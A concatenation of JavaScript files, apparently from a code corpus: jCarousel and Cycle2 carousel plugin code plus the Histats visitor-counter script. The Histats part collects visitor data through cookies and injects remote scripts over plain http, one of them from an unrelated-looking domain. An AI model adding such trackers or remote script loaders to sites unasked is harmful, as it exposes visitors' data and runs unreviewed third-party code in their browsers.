this.list.css(this.wh, this.dimension(this.list) + l + 'px');
if (back) {
pos -= l;
this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) - l + 'px');
}
}
// Calculate first and last item
var last = i + visible - 1;
if (this.options.wrap != 'circular' && this.options.size && last > this.options.size) {
last = this.options.size;
}
if (j > last) {
visible = 0;
j = last;
v = 0;
while (++visible) {
e = this.get(j--);
if (!e.length) {
break;
}
v += this.dimension(e);
if (v >= clipping) {
break;
}
}
}
var first = last - visible + 1;
if (this.options.wrap != 'circular' && first < 1) {
first = 1;
}
if (this.inTail && back) {
pos += this.tail;
this.inTail = false;
}
this.tail = null;
if (this.options.wrap != 'circular' && last == this.options.size && (last - visible + 1) >= 1) {
var m = $jc.intval(this.get(last).css(!this.options.vertical ? 'marginRight' : 'marginBottom'));
if ((v - m) > clipping) {
this.tail = v - clipping - m;
}
}
if (fv && i === this.options.size && this.tail) {
pos -= this.tail;
this.inTail = true;
}
// Adjust position
while (i-- > first) {
pos += this.dimension(this.get(i));
}
// Save visible item range
this.prevFirst = this.first;
this.prevLast = this.last;
this.first = first;
this.last = last;
return pos;
},
/**
* Animates the carousel to a certain position.
*
* @method animate
* @return undefined
* @param p {Number} Position to scroll to.
* @param a {Boolean} Flag indicating whether to perform animation.
*/
animate: function(p, a) {
if (this.locked || this.animating) {
return;
}
this.animating = true;
var self = this;
var scrolled = function() {
self.animating = false;
if (p === 0) {
self.list.css(self.lt, 0);
}
if (!self.autoStopped && (self.options.wrap == 'circular' || self.options.wrap == 'both' || self.options.wrap == 'last' || self.options.size === null || self.last < self.options.size || (self.last == self.options.size && self.tail !== null && !self.inTail))) {
self.startAuto();
}
self.buttons();
self.notify('onAfterAnimation');
// This function removes items which are appended automatically for circulation.
// This prevents the list from growing infinitely.
if (self.options.wrap == 'circular' && self.options.size !== null) {
for (var i = self.prevFirst; i <= self.prevLast; i++) {
if (i !== null && !(i >= self.first && i <= self.last) && (i < 1 || i > self.options.size)) {
self.remove(i);
}
}
}
};
this.notify('onBeforeAnimation');
// Animate
if (!this.options.animation || a === false) {
this.list.css(this.lt, p + 'px');
scrolled();
} else {
var o = !this.options.vertical ? (this.options.rtl ? {'right': p} : {'left': p}) : {'top': p};
// Define animation settings.
var settings = {
duration: this.options.animation,
easing: this.options.easing,
complete: scrolled
};
// If we have a step callback, specify it as well.
if ($.isFunction(this.options.animationStepCallback)) {
settings.step = this.options.animationStepCallback;
}
// Start the animation.
this.list.animate(o, settings);
}
},
/**
* Starts autoscrolling.
*
* @method auto
* @return undefined
* @param s {Number} Seconds to periodically autoscroll the content.
*/
startAuto: function(s) {
if (s !== undefined) {
this.options.auto = s;
}
if (this.options.auto === 0) {
return this.stopAuto();
}
if (this.timer !== null) {
return;
}
this.autoStopped = false;
var self = this;
this.timer = window.setTimeout(function() { self.next(); }, this.options.auto * 1000);
},
/**
* Stops autoscrolling.
*
* @method stopAuto
* @return undefined
*/
stopAuto: function() {
this.pauseAuto();
this.autoStopped = true;
},
/**
* Pauses autoscrolling.
*
* @method pauseAuto
* @return undefined
*/
pauseAuto: function() {
if (this.timer === null) {
return;
}
window.clearTimeout(this.timer);
this.timer = null;
},
/**
* Sets the states of the prev/next buttons.
*
* @method buttons
* @return undefined
*/
buttons: function(n, p) {
if (n == null) {
n = !this.locked && this.options.size !== 0 && ((this.options.wrap && this.options.wrap != 'first') || this.options.size === null || this.last < this.options.size);
if (!this.locked && (!this.options.wrap || this.options.wrap == 'first') && this.options.size !== null && this.last >= this.options.size) {
n = this.tail !== null && !this.inTail;
}
}
if (p == null) {
p = !this.locked && this.options.size !== 0 && ((this.options.wrap && this.options.wrap != 'last') || this.first > 1);
if (!this.locked && (!this.options.wrap || this.options.wrap == 'last') && this.options.size !== null && this.first == 1) {
p = this.tail !== null && this.inTail;
}
}
var self = this;
if (this.buttonNext.size() > 0) {
this.buttonNext.unbind(this.options.buttonNextEvent + '.jcarousel', this.funcNext);
if (n) {
this.buttonNext.bind(this.options.buttonNextEvent + '.jcarousel', this.funcNext);
}
this.buttonNext[n ? 'removeClass' : 'addClass'](this.className('jcarousel-next-disabled')).attr('disabled', n ? false : true);
if (this.options.buttonNextCallback !== null && this.buttonNext.data('jcarouselstate') != n) {
this.buttonNext.each(function() { self.options.buttonNextCallback(self, this, n); }).data('jcarouselstate', n);
}
} else {
if (this.options.buttonNextCallback !== null && this.buttonNextState != n) {
this.options.buttonNextCallback(self, null, n);
}
}
if (this.buttonPrev.size() > 0) {
this.buttonPrev.unbind(this.options.buttonPrevEvent + '.jcarousel', this.funcPrev);
if (p) {
this.buttonPrev.bind(this.options.buttonPrevEvent + '.jcarousel', this.funcPrev);
}
this.buttonPrev[p ? 'removeClass' : 'addClass'](this.className('jcarousel-prev-disabled')).attr('disabled', p ? false : true);
if (this.options.buttonPrevCallback !== null && this.buttonPrev.data('jcarouselstate') != p) {
this.buttonPrev.each(function() { self.options.buttonPrevCallback(self, this, p); }).data('jcarouselstate', p);
}
} else {
if (this.options.buttonPrevCallback !== null && this.buttonPrevState != p) {
this.options.buttonPrevCallback(self, null, p);
}
}
this.buttonNextState = n;
this.buttonPrevState = p;
},
/**
* Notify callback of a specified event.
*
* @method notify
* @return undefined
* @param evt {String} The event name
*/
notify: function(evt) {
var state = this.prevFirst === null ? 'init' : (this.prevFirst < this.first ? 'next' : 'prev');
// Load items
this.callback('itemLoadCallback', evt, state);
if (this.prevFirst !== this.first) {
this.callback('itemFirstInCallback', evt, state, this.first);
this.callback('itemFirstOutCallback', evt, state, this.prevFirst);
}
if (this.prevLast !== this.last) {
this.callback('itemLastInCallback', evt, state, this.last);
this.callback('itemLastOutCallback', evt, state, this.prevLast);
}
this.callback('itemVisibleInCallback', evt, state, this.first, this.last, this.prevFirst, this.prevLast);
this.callback('itemVisibleOutCallback', evt, state, this.prevFirst, this.prevLast, this.first, this.last);
},
callback: function(cb, evt, state, i1, i2, i3, i4) {
if (this.options[cb] == null || (typeof this.options[cb] != 'object' && evt != 'onAfterAnimation')) {
return;
}
var callback = typeof this.options[cb] == 'object' ? this.options[cb][evt] : this.options[cb];
if (!$.isFunction(callback)) {
return;
}
var self = this;
if (i1 === undefined) {
callback(self, state, evt);
} else if (i2 === undefined) {
this.get(i1).each(function() { callback(self, this, i1, state, evt); });
} else {
var call = function(i) {
self.get(i).each(function() { callback(self, this, i, state, evt); });
};
for (var i = i1; i <= i2; i++) {
if (i !== null && !(i >= i3 && i <= i4)) {
call(i);
}
}
}
},
create: function(i) {
return this.format('<li></li>', i);
},
format: function(e, i) {
e = $(e);
var split = e.get(0).className.split(' ');
for (var j = 0; j < split.length; j++) {
if (split[j].indexOf('jcarousel-') != -1) {
e.removeClass(split[j]);
}
}
e.addClass(this.className('jcarousel-item')).addClass(this.className('jcarousel-item-' + i)).css({
'float': (this.options.rtl ? 'right' : 'left'),
'list-style': 'none'
}).attr('jcarouselindex', i);
return e;
},
className: function(c) {
return c + ' ' + c + (!this.options.vertical ? '-horizontal' : '-vertical');
},
dimension: function(e, d) {
var el = $(e);
if (d == null) {
return !this.options.vertical ?
(el.outerWidth(true) || $jc.intval(this.options.itemFallbackDimension)) :
(el.outerHeight(true) || $jc.intval(this.options.itemFallbackDimension));
} else {
var w = !this.options.vertical ?
d - $jc.intval(el.css('marginLeft')) - $jc.intval(el.css('marginRight')) :
d - $jc.intval(el.css('marginTop')) - $jc.intval(el.css('marginBottom'));
$(el).css(this.wh, w + 'px');
return this.dimension(el);
}
},
clipping: function() {
return !this.options.vertical ?
this.clip[0].offsetWidth - $jc.intval(this.clip.css('borderLeftWidth')) - $jc.intval(this.clip.css('borderRightWidth')) :
this.clip[0].offsetHeight - $jc.intval(this.clip.css('borderTopWidth')) - $jc.intval(this.clip.css('borderBottomWidth'));
},
index: function(i, s) {
if (s == null) {
s = this.options.size;
}
return Math.round((((i-1) / s) - Math.floor((i-1) / s)) * s) + 1;
}
});
$jc.extend({
/**
* Gets/Sets the global default configuration properties.
*
* @method defaults
* @return {Object}
* @param d {Object} A set of key/value pairs to set as configuration properties.
*/
defaults: function(d) {
return $.extend(defaults, d || {});
},
intval: function(v) {
v = parseInt(v, 10);
return isNaN(v) ? 0 : v;
},
windowLoaded: function() {
windowLoaded = true;
}
});
/**
* Creates a carousel for all matched elements.
*
* @example $("#mycarousel").jcarousel();
* @before <ul id="mycarousel" class="jcarousel-skin-name"><li>First item</li><li>Second item</li></ul>
* @result
*
* <div class="jcarousel-skin-name">
* <div class="jcarousel-container">
* <div class="jcarousel-clip">
* <ul class="jcarousel-list">
* <li class="jcarousel-item-1">First item</li>
* <li class="jcarousel-item-2">Second item</li>
* </ul>
* </div>
* <div disabled="disabled" class="jcarousel-prev jcarousel-prev-disabled"></div>
* <div class="jcarousel-next"></div>
* </div>
* </div>
*
* @method jcarousel
* @return jQuery
* @param o {Hash|String} A set of key/value pairs to set as configuration properties or a method name to call on a formerly created instance.
*/
$.fn.jcarousel = function(o) {
if (typeof o == 'string') {
var instance = $(this).data('jcarousel'), args = Array.prototype.slice.call(arguments, 1);
return instance[o].apply(instance, args);
} else {
return this.each(function() {
var instance = $(this).data('jcarousel');
if (instance) {
if (o) {
$.extend(instance.options, o);
}
instance.reload();
} else {
$(this).data('jcarousel', new $jc(this, o));
}
});
}
};
})(jQuery);
| JavaScript |
if ("undefined" === typeof Histats)
var Histats = {ver: 16,eve: 3,cver: 0,s_id: 0,s_pd: 0,d_op: 0,i_dom: 4,i_id: 0,i_w: 0,i_h: 0,i_b: "",s_d: "",s_u: "",s_r: "1000",s_l: "0",s_t: "",d_s: 0,d_fa: 0,d_la: 0,d_tl: 0,d_tf: 0,d_nv: 1,d_mu: 0,d_cv: 0,d_cs: 0,d_cp: 0,d_pON: 0,d_ptm: 45E3,d_ca: 0,d_pn: 0,d_pt: 0,f_pv: 0,s_ta: "",a_va: [],s_ti: "",asi: 0,o_fa: 0,o_de: 0,o_i: 0,o_BC: 0,o_fr: 0,p_ff: 0,n_a: "",n_f: 0,n_n: 0,o_n: 0,c_e: 0,c_on: 0,u: 0,s_sc1: "1",s_sc2: "11111111",s_asc2: [],t_u: "0.php?",pl: null,is: function(a) {
return "undefined" !== typeof a
},sc: function(a) {
var b = Histats;
if (b.iss(a))
b.s_sc1 = a
},sc1: function(a) {
try {
var b = Histats;
if (b.iss(a)) {
var c = a.split("#");
if (0 < c.length)
for (k in c)
"function" != typeof c[k] && 2 < c[k].length && (b.s_asc2[c[k].substr(0, 1)] = c[k].substr(1))
}
var d = b.s_sc2.split("");
b.s_sc1 = "";
for (k in d)
if ("1" == d[k] && b.s_asc2[k])
b.s_sc1 = b.s_sc1 + b.s_asc2[k] + "#"
} catch (e) {
}
},isd: function(a) {
var b = !1;
if ("undefined" !== typeof a) {
if ("NaN" == parseInt(a))
return !1;
0 < parseInt(a) ? b = !0 : b = !1
}
return b
},cn: function(a) {
return !Histats.isd(a) ? 0 : parseInt(a)
},iss: function(a) {
var b = !1;
Histats.is(a) && (0 < (a + "").length ? b = !0 : b = !1);
return b
},fasi: function(a) {
Histats.asi = a
},GC: function(a) {
try {
if (Histats.o_BC)
return "";
var b, c, d, e;
d = document.cookie;
e = d.indexOf(a + "=");
if (-1 !== e) {
b = e + a.length + 1;
c = d.indexOf(";", b);
if (-1 === c)
c = d.length;
return d.substring(b, c)
}
return ""
} catch (f) {
return ""
}
},ENCODE: function(a) {
return !Histats.iss(a) ? "" : window.encodeURIComponent ? encodeURIComponent(a) : escape(a).split("@").join("%40")
},DECODE: function(a) {
if (!Histats.iss(a))
return "";
try {
return window.decodeURIComponent ? decodeURIComponent(a) : unescape(a)
} catch (b) {
return unescape(a)
}
},DECODEuri: function(a) {
try {
return window.decodeURIComponent ? decodeURIComponent(a) : a
} catch (b) {
return a
}
},SC: function(a, b, c) {
try {
if (Histats.o_BC)
return "";
var d, e;
e = new Date;
e.setTime(e.getTime() + c);
d = 0 < c ? "; expires=" + e.toGMTString() : "; expires=Thu, 01-Jan-1970 00:00:01 GMT";
document.cookie = a + "=" + b + d + "; path=/"
} catch (f) {
}
},oldcode_start: function() {
if (Histats) {
var a = Histats;
if ("undefined" !== typeof st_dominio && a.isd(st_dominio))
a.i_dom = st_dominio;
if ("undefined" !== typeof cimg && a.isd(cimg))
a.i_id = cimg;
if ("undefined" !== typeof cwi && a.isd(cwi))
a.i_w = cwi;
if ("undefined" !== typeof che && a.isd(che))
a.i_h = che;
if ("undefined" !== typeof s_sid && a.isd(s_sid))
a.s_id = parseInt(s_sid);
if ("undefined" !== typeof zstpagid && a.isd(zstpagid))
a.s_pd = zstpagid;
if ("undefined" !== typeof uhist && a.isd(uhist))
a.o_BC = 1;
"undefined" !== typeof ExFd && a.isd(ExFd) && a.framed_page()
}
},framed_page: function() {
Histats.o_fr = 1
},start: function(a, b, c, d, e, f, g) {
if (Histats && (a = Histats, a.s_id = parseInt(b), a.i_dom = c, a.i_id = d, a.i_w = e, a.i_h = f, a.s_sc2 = g, 8 < a.s_sc2.length || 1 > a.s_sc2.length))
a.s_sc2 = ""
},init: function() {
var a = Histats;
if (!a.o_i) {
++a.o_i;
a.o_n = (new Date).getTime();
a.c_e = 31536E6;
a.n_a = navigator.appName;
if ("Opera" === a.n_a || 0 <= navigator.userAgent.indexOf("Firefox"))
a.n_f = 1;
a.s_u = document.URL ? document.URL : document.location;
a.s_u = a.DECODEuri(a.s_u).substr(0, 500);
a.s_r = document.referrer + "";
a.s_ti = document.title;
a.s_ti = a.DECODEuri(a.s_ti).substr(0, 500);
var b = -1;
try {
a.d_s = screen.width;
if (a.o_fr && 0 != top.frames.length)
a.s_r = "" + top.document.referrer;
a.s_l = navigator.language || navigator.browserLanguage || "";
if ("lt" == a.s_l.substr(0, 2))
a.s_l = "lT";
if ("gt" == a.s_l.substr(0, 2))
a.s_l = "gT";
if (1 > a.s_l.length)
a.s_l = "0";
b = a.s_r.indexOf("//" + document.location.host)
} catch (c) {
a.s_l = "0", a.s_r = "1000", a.d_s = "0"
}
a.d_s = a.cn(a.d_s);
a.s_r = a.s_r.substr(0, 500);
a.d_la = a.cn(a.GC("HstCla" + a.s_id));
a.d_fa = a.cn(a.GC("HstCfa" + a.s_id));
if (a.cn(0 < a.GC("NoHits" + a.s_id)))
a.o_fa = 1;
if (1 > a.d_fa)
a.d_fa = a.o_n, a.SC("HstCfa" + a.s_id, a.d_fa, a.c_e);
a.d_nv = 1;
a.SC("HstCla" + a.s_id, a.o_n, a.c_e);
a.c_on = a.cn(a.GC("HstCla" + a.s_id));
if (0 < a.c_on) {
if (0 < a.d_la)
a.d_tl = parseInt(a.o_n - a.d_la);
if (0 < a.d_fa)
a.d_tf = parseInt(a.o_n - a.d_fa);
a.d_pn = a.cn(a.GC("HstPn" + a.s_id));
a.d_pt = a.cn(a.GC("HstPt" + a.s_id));
a.d_cv = a.cn(a.GC("HstCnv" + a.s_id));
a.d_cs = a.cn(a.GC("HstCns" + a.s_id));
a.d_mu = a.cn(a.GC("HstCmu" + a.s_id));
a.d_pn++;
a.d_pt++;
if (262656E4 <= parseInt(a.o_n - a.d_mu))
a.SC("HstCmu" + a.s_id, a.o_n, a.c_e), a.d_mu = 0;
a.d_mu++;
if (1 > a.d_la || 262656E4 <= a.d_tl)
a.d_pn = 1, a.d_cv = 1, a.d_pt = 1, a.d_cs = 1;
else if (0 < a.d_tl)
36E5 > a.d_tl ? a.d_nv = 0 : (a.d_pn = 1, a.d_cv++), 6E5 < a.d_tl && a.d_cs++;
if (1 > a.d_cv)
a.d_cv = 1;
1 == a.d_nv && setTimeout("Histats.track_event('b');", 45E3);
a.SC("HstPn" + a.s_id, a.d_pn, a.c_e);
a.SC("HstPt" + a.s_id, a.d_pt, a.c_e);
a.SC("HstCnv" + a.s_id, a.d_cv, a.c_e);
a.SC("HstCns" + a.s_id, a.d_cs, a.c_e)
}
if (a.iss(a.s_r) && 1 == a.d_nv && 1 > b)
a.SC("c_ref_" + a.s_id, a.ENCODE(a.s_r), a.c_e);
else {
if (a.iss(a.DECODE(a.GC("c_ref_" + a.s_id))))
a.s_r = a.DECODE(a.GC("c_ref_" + a.s_id));
if (!a.iss(a.s_r))
a.s_r = "1000"
}
a.d_op = a.GC("c_pd_" + a.s_id);
if (!a.isd(a.d_op))
a.d_op = 0;
0 < a.s_pd && a.SC("c_pd_" + a.s_id, a.s_pd, a.c_e);
a.pl = document.body;
try {
if (heads = document.getElementsByTagName("head"), a.is(heads) && 0 < heads.length)
a.pl = heads[0]
} catch (d) {
}
}
},B_U: function() {
var a = Histats;
a.init();
a.u = "" + (a.s_id + "") + ("&@f" + a.ver) + ("&@g" + a.d_nv) + ("&@h" + a.d_pn) + ("&@i" + a.d_cv) + ("&@j" + a.c_on) + ("&@k" + a.d_tl) + ("&@l" + a.d_pt) + ("&@m" + a.ENCODE(a.s_ti)) + ("&@n" + a.imp_v()) + ("&@o" + a.ENCODE(a.s_r)) + ("&@q" + a.s_pd) + ("&@r" + a.d_op) + ("&@s" + a.i_id) + ("&@t" + a.ENCODE(a.s_l)) + ("&@u" + a.d_s) + ("&@v" + a.ENCODE(a.s_u))
},add_v: function(a, b) {
var c = Histats;
c.iss(a) && c.iss(b) && ("tags" == a && (b = b.split(";").join(",")), c.a_va[c.cn(c.a_va.length)] = c.ENCODE(a) + "=" + c.ENCODE(b))
},imp_v: function() {
var a = "0", b = Histats;
if ("undefined" !== typeof Histats_variables) {
var c = Histats_variables;
if (0 < c.length && 0 == c.length % 2)
for (var d = 0; d < c.length; )
b.add_v(c[d], c[d + 1]), d += 2
}
if (1 > b.a_va.length)
return a;
a += b.a_va.join("|");
return a.substr(0, 300)
},load_flash: function() {
var a = Histats;
if (5E3 < a.i_id || 700 == a.i_id)
a.i_id = 0;
if (!(1 > a.i_id || 1 > a.s_id || 1 == a.p_ff)) {
var b = '<a target="_blank" href="http://www.histats.com/viewstats/?sid=' + a.s_id + '&act=2&f=1">', c = "</a>", d = "0";
1 != a.n_f && (c = b = "", d = "2");
b = b + '<embed src="' + ("http://s10.histats.com/" + a.i_id + ".swf") + '" flashvars="esterno=1&var_esterno=' + a.s_sc1 + "&acsid=" + a.s_id + "&lu=" + d + '" width="' + a.i_w + '" height="' + a.i_h + '" quality="high" wmode="transparent" name="' + a.i_id + '.swf" align="middle" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">' + c;
a.p_ff = 1;
if (1 == a.asi) {
if (document.getElementById("histats_counter"))
document.getElementById("histats_counter").innerHTML = b
} else
document.writeln("<script language=JavaScript>document.writeln('" + b + "');<\/script>")
}
},load_JScall: function() {
var a = Histats;
if (a.isd(a.i_dom) && !(1 > a.s_id))
if (1 == a.asi) {
var b = document.createElement("SCRIPT");
if (1 == a.asi)
b.defer = !0;
b.type = "text/javascript";
b.src = "http://s" + a.i_dom + ".histats.com/stats/" + a.t_u + a.u + "&@w";
a.pl.appendChild(b)
} else
document.writeln('<script type="text/javascript" language="JavaScript" SRC="http://s' + a.i_dom + ".histats.com/stats/" + a.t_u + a.u + "&@w\"><\\/script>');"), document.writeln("<\/SCRIPT>")
},mlare: function(a, b) {
var c = Histats, d = document.createElement("SCRIPT");
d.defer = !0;
d.type = "text/javascript";
d.src = "http://c0.histats.12mlbe.com/jsx01/7/" + a + "/" + b;
c.pl.appendChild(d)
},track_hits: function() {
var a = Histats;
if (!(0 < a.o_fa))
a.B_U(), 0 == a.i_id || 700 == a.i_id || 500 <= a.i_id && 600 > a.i_id ? (a.sc("1"), a.t_u = "0.php?", a.load_JScall(), a.load_flash()) : (a.t_u = a.s_id + ".php?", a.load_JScall())
},track_event: function(a) {
var b = Histats;
if (!(100 < b.d_ca))
b.u = "" + (b.s_id + "") + ("&@A" + a + "&@R" + Math.ceil(1E5 * Math.random())), b.t_u = "e.php?", b.asi = 1, b.load_JScall(), b.d_ca++
}};
if (!str_contatore)
var str_contatore = "";
if (!_HST_cntval)
var _HST_cntval = "";
function chfh(a) {
Histats.sc(a);
Histats.load_flash()
}
function chfh2(a) {
Histats.sc1(a);
Histats.load_flash()
}
;
| JavaScript |
/*! carousel transition plugin for Cycle2; version: 20130528 */
(function($) {
"use strict";
$( document ).on('cycle-bootstrap', function( e, opts, API ) {
if ( opts.fx !== 'carousel' )
return;
API.getSlideIndex = function( el ) {
var slides = this.opts()._carouselWrap.children();
var i = slides.index( el );
return i % slides.length;
};
// override default 'next' function
API.next = function() {
var count = opts.reverse ? -1 : 1;
if ( opts.allowWrap === false && ( opts.currSlide + count ) > opts.slideCount - opts.carouselVisible )
return;
opts.API.advanceSlide( count );
opts.API.trigger('cycle-next', [ opts ]).log('cycle-next');
};
});
$.fn.cycle.transitions.carousel = {
// transition API impl
preInit: function( opts ) {
opts.hideNonActive = false;
opts.container.on('cycle-destroyed', $.proxy(this.onDestroy, opts.API));
// override default API implementation
opts.API.stopTransition = this.stopTransition;
// issue #10
for (var i=0; i < opts.startingSlide; i++) {
opts.container.append( opts.slides[0] );
}
},
// transition API impl
postInit: function( opts ) {
var i, j, slide, pagerCutoffIndex, wrap;
var vert = opts.carouselVertical;
if (opts.carouselVisible && opts.carouselVisible > opts.slideCount)
opts.carouselVisible = opts.slideCount - 1;
var visCount = opts.carouselVisible || opts.slides.length;
var slideCSS = { display: vert ? 'block' : 'inline-block', position: 'static' };
// required styles
opts.container.css({ position: 'relative', overflow: 'hidden' });
opts.slides.css( slideCSS );
opts._currSlide = opts.currSlide;
// wrap slides in a div; this div is what is animated
wrap = $('<div class="cycle-carousel-wrap"></div>')
.prependTo( opts.container )
.css({ margin: 0, padding: 0, top: 0, left: 0, position: 'absolute' })
.append( opts.slides );
opts._carouselWrap = wrap;
if ( !vert )
wrap.css('white-space', 'nowrap');
if ( opts.allowWrap !== false ) {
// prepend and append extra slides so we don't see any empty space when we
// near the end of the carousel. for fluid containers, add even more clones
// so there is plenty to fill the screen
// @todo: optimzie this based on slide sizes
for ( j=0; j < (opts.carouselVisible === undefined ? 2 : 1); j++ ) {
for ( i=0; i < opts.slideCount; i++ ) {
wrap.append( opts.slides[i].cloneNode(true) );
}
i = opts.slideCount;
while ( i-- ) { // #160, #209
wrap.prepend( opts.slides[i].cloneNode(true) );
}
}
wrap.find('.cycle-slide-active').removeClass('cycle-slide-active');
opts.slides.eq(opts.startingSlide).addClass('cycle-slide-active');
}
if ( opts.pager && opts.allowWrap === false ) {
// hide "extra" pagers
pagerCutoffIndex = opts.slideCount - visCount;
$( opts.pager ).children().filter( ':gt('+pagerCutoffIndex+')' ).hide();
}
opts._nextBoundry = opts.slideCount - opts.carouselVisible;
this.prepareDimensions( opts );
},
prepareDimensions: function( opts ) {
var dim, offset, pagerCutoffIndex, tmp;
var vert = opts.carouselVertical;
var visCount = opts.carouselVisible || opts.slides.length;
if ( opts.carouselFluid && opts.carouselVisible ) {
if ( ! opts._carouselResizeThrottle ) {
// fluid container AND fluid slides; slides need to be resized to fit container
this.fluidSlides( opts );
}
}
else if ( opts.carouselVisible && opts.carouselSlideDimension ) {
dim = visCount * opts.carouselSlideDimension;
opts.container[ vert ? 'height' : 'width' ]( dim );
}
else if ( opts.carouselVisible ) {
dim = visCount * $(opts.slides[0])[vert ? 'outerHeight' : 'outerWidth'](true);
opts.container[ vert ? 'height' : 'width' ]( dim );
}
// else {
// // fluid; don't size the container
// }
offset = ( opts.carouselOffset || 0 );
if ( opts.allowWrap !== false ) {
if ( opts.carouselSlideDimension ) {
offset -= ( (opts.slideCount + opts.currSlide) * opts.carouselSlideDimension );
}
else {
// calculate offset based on actual slide dimensions
tmp = opts._carouselWrap.children();
for (var j=0; j < (opts.slideCount + opts.currSlide); j++) {
offset -= $(tmp[j])[vert?'outerHeight':'outerWidth'](true);
}
}
}
opts._carouselWrap.css( vert ? 'top' : 'left', offset );
},
fluidSlides: function( opts ) {
var timeout;
var slide = opts.slides.eq(0);
var adjustment = slide.outerWidth() - slide.width();
var prepareDimensions = this.prepareDimensions;
// throttle resize event
$(window).on( 'resize', resizeThrottle);
opts._carouselResizeThrottle = resizeThrottle;
onResize();
function resizeThrottle() {
clearTimeout( timeout );
timeout = setTimeout( onResize, 20 );
}
function onResize() {
opts._carouselWrap.stop( false, true );
var slideWidth = opts.container.width() / opts.carouselVisible;
slideWidth = Math.ceil( slideWidth - adjustment );
opts._carouselWrap.children().width( slideWidth );
if ( opts._sentinel )
opts._sentinel.width( slideWidth );
prepareDimensions( opts );
}
},
// transition API impl
transition: function( opts, curr, next, fwd, callback ) {
var moveBy, props = {};
var hops = opts.nextSlide - opts.currSlide;
var vert = opts.carouselVertical;
var speed = opts.speed;
// handle all the edge cases for wrapping & non-wrapping
if ( opts.allowWrap === false ) {
fwd = hops > 0;
var currSlide = opts._currSlide;
var maxCurr = opts.slideCount - opts.carouselVisible;
if ( hops > 0 && opts.nextSlide > maxCurr && currSlide == maxCurr ) {
hops = 0;
}
else if ( hops > 0 && opts.nextSlide > maxCurr ) {
hops = opts.nextSlide - currSlide - (opts.nextSlide - maxCurr);
}
else if ( hops < 0 && opts.currSlide > maxCurr && opts.nextSlide > maxCurr ) {
hops = 0;
}
else if ( hops < 0 && opts.currSlide > maxCurr ) {
hops += opts.currSlide - maxCurr;
}
else
currSlide = opts.currSlide;
moveBy = this.getScroll( opts, vert, currSlide, hops );
opts.API.opts()._currSlide = opts.nextSlide > maxCurr ? maxCurr : opts.nextSlide;
}
else {
if ( fwd && opts.nextSlide === 0 ) {
// moving from last slide to first
moveBy = this.getDim( opts, opts.currSlide, vert );
callback = this.genCallback( opts, fwd, vert, callback );
}
else if ( !fwd && opts.nextSlide == opts.slideCount - 1 ) {
// moving from first slide to last
moveBy = this.getDim( opts, opts.currSlide, vert );
callback = this.genCallback( opts, fwd, vert, callback );
}
else {
moveBy = this.getScroll( opts, vert, opts.currSlide, hops );
}
}
props[ vert ? 'top' : 'left' ] = fwd ? ( "-=" + moveBy ) : ( "+=" + moveBy );
// throttleSpeed means to scroll slides at a constant rate, rather than
// a constant speed
if ( opts.throttleSpeed )
speed = (moveBy / $(opts.slides[0])[vert ? 'height' : 'width']() ) * opts.speed;
opts._carouselWrap.animate( props, speed, opts.easing, callback );
},
getDim: function( opts, index, vert ) {
var slide = $( opts.slides[index] );
return slide[ vert ? 'outerHeight' : 'outerWidth'](true);
},
getScroll: function( opts, vert, currSlide, hops ) {
var i, moveBy = 0;
if (hops > 0) {
for (i=currSlide; i < currSlide+hops; i++)
moveBy += this.getDim( opts, i, vert);
}
else {
for (i=currSlide; i > currSlide+hops; i--)
moveBy += this.getDim( opts, i, vert);
}
return moveBy;
},
genCallback: function( opts, fwd, vert, callback ) {
// returns callback fn that resets the left/top wrap position to the "real" slides
return function() {
var pos = $(opts.slides[opts.nextSlide]).position();
var offset = 0 - pos[vert?'top':'left'] + (opts.carouselOffset || 0);
opts._carouselWrap.css( opts.carouselVertical ? 'top' : 'left', offset );
callback();
};
},
// core API override
stopTransition: function() {
var opts = this.opts();
opts.slides.stop( false, true );
opts._carouselWrap.stop( false, true );
},
// core API supplement
onDestroy: function( e ) {
var opts = this.opts();
if ( opts._carouselResizeThrottle )
$( window ).off( 'resize', opts._carouselResizeThrottle );
opts.slides.prependTo( opts.container );
opts._carouselWrap.remove();
}
};
})(jQuery);
| JavaScript |
/*!
* jQuery Cycle2; build: v20131005
* http://jquery.malsup.com/cycle2/
* Copyright (c) 2013 M. Alsup; Dual licensed: MIT/GPL
*/
/*! core engine; version: 20131003 */
;(function($) {
"use strict";
var version = '20131003';
$.fn.cycle = function( options ) {
// fix mistakes with the ready state
var o;
if ( this.length === 0 && !$.isReady ) {
o = { s: this.selector, c: this.context };
$.fn.cycle.log('requeuing slideshow (dom not ready)');
$(function() {
$( o.s, o.c ).cycle(options);
});
return this;
}
return this.each(function() {
var data, opts, shortName, val;
var container = $(this);
var log = $.fn.cycle.log;
if ( container.data('cycle.opts') )
return; // already initialized
if ( container.data('cycle-log') === false ||
( options && options.log === false ) ||
( opts && opts.log === false) ) {
log = $.noop;
}
log('--c2 init--');
data = container.data();
for (var p in data) {
// allow props to be accessed sans 'cycle' prefix and log the overrides
if (data.hasOwnProperty(p) && /^cycle[A-Z]+/.test(p) ) {
val = data[p];
shortName = p.match(/^cycle(.*)/)[1].replace(/^[A-Z]/, lowerCase);
log(shortName+':', val, '('+typeof val +')');
data[shortName] = val;
}
}
opts = $.extend( {}, $.fn.cycle.defaults, data, options || {});
opts.timeoutId = 0;
opts.paused = opts.paused || false; // #57
opts.container = container;
opts._maxZ = opts.maxZ;
opts.API = $.extend ( { _container: container }, $.fn.cycle.API );
opts.API.log = log;
opts.API.trigger = function( eventName, args ) {
opts.container.trigger( eventName, args );
return opts.API;
};
container.data( 'cycle.opts', opts );
container.data( 'cycle.API', opts.API );
// opportunity for plugins to modify opts and API
opts.API.trigger('cycle-bootstrap', [ opts, opts.API ]);
opts.API.addInitialSlides();
opts.API.preInitSlideshow();
if ( opts.slides.length )
opts.API.initSlideshow();
});
};
$.fn.cycle.API = {
opts: function() {
return this._container.data( 'cycle.opts' );
},
addInitialSlides: function() {
var opts = this.opts();
var slides = opts.slides;
opts.slideCount = 0;
opts.slides = $(); // empty set
// add slides that already exist
slides = slides.jquery ? slides : opts.container.find( slides );
if ( opts.random ) {
slides.sort(function() {return Math.random() - 0.5;});
}
opts.API.add( slides );
},
preInitSlideshow: function() {
var opts = this.opts();
opts.API.trigger('cycle-pre-initialize', [ opts ]);
var tx = $.fn.cycle.transitions[opts.fx];
if (tx && $.isFunction(tx.preInit))
tx.preInit( opts );
opts._preInitialized = true;
},
postInitSlideshow: function() {
var opts = this.opts();
opts.API.trigger('cycle-post-initialize', [ opts ]);
var tx = $.fn.cycle.transitions[opts.fx];
